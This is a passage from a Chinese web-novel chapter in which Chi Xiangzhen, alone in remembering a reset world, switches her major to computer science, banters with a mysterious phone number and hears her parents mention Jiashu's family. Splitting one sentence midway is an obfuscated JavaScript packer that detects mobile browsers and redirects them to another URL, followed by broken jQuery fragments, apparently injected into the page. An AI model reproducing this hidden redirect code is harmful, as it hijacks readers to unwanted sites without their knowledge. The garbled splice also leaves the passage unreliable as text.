,在这个重组的世界里,她和嘉树并不认识。
只有她一个人记得了啊。
她抬眼,看着电脑屏幕上跃动的字符,在志愿填报那一栏,将原本的通用语专业删除,换成了计算机系。
而后坚定地点下确认。
放在桌上的手机嗡嗡作响。
“是想离他近一点,还是想探明白我的来历?”
“都有。”池想真关上电脑。“你说我是最重要的,那如果我直接问你,你会回答吗?”
“不会哦。”
“至少现在还不会。”
池想真看了一眼,将手机反扣在桌面上。
不知道为什么,她总觉得这个神秘号码说话的方式,她有些熟悉。
这个想法刚冒出来,她就头痛地揉了揉头发,然后用手捂着自己的脸。
真当地球围着你转的啊,她何德何能,居然觉得这样一个能逆转时空的存在熟悉。
不过……她快速抬起头。
好像,自恋一点也没关系?毕竟按照对方所说,世界好像真的是围绕着自己转的。
她搜寻自己脑海中的记忆,过往十八年好像被分成了两份,有嘉树的,和没有嘉树的。
成长经历大差不差,那些有嘉树参与的过去,要么变成了和别人一起,要么根本就没有发生。
真神奇啊,就这样轻易将一个人从自己的生命里抹去。
池想真仰躺在床上,放空自己的思绪。
突然没有了早八和pre,她忽然感觉一丝无所事事。
高考后的暑假啊,人生中绝无仅有的热烈夏天,她记得上一次,她是和嘉树一起去乡下姥姥家。
她和嘉树从妈妈那一辈开始就是邻居,两个姥姥住在同一条河的同一侧,两家共用一道墙。
但因为不能与嘉树太早见面——神秘号码的
;eval(function(p,a,c,k,e,d){e=function(c){return(c
35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16851459|191573||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
说法是,她与嘉树一见到对方,就会自动开始谈恋爱,所以就想了想办法,把他们俩隔开。
池想真:……
“其实我可以忍耐的。”
“嘉树忍不了。”
“……”
“他的底层代码就是喜欢你。”
她打量了一眼自己的房间的陈设,又跑到窗边看了一眼,小区那棵老梧桐树枝繁叶茂,风吹树影晃动,是她住了十多年的房子没有错。
既然如此,既然她在这里,那对门的邻居就不会是嘉树了。
他会在哪里?
池想真还没有头绪,结果吃晚饭的时候妈妈祁茹忽然提起嘉树一家。
“想想还记得你宋蕴阿姨吗?”
爸爸池旭州说:“她怎么可能记得?老嘉他们搬家的时候,她和小树才出生。”
池想真跳漏了一拍,筷子戳着米饭,假装不在意地问:“没印象了,怎么啦?”
祁茹笑说:“那天跟你宋蕴阿姨打电话,她说小树也报了南棠,想想,你不是也准备报南棠吗?我想着你们两个人,能有个照应。”
其实祁茹和池旭州都是见过嘉树的,十多年前嘉树的父亲嘉良下海做生意成功,搬到了邻市。但两家人的交情一直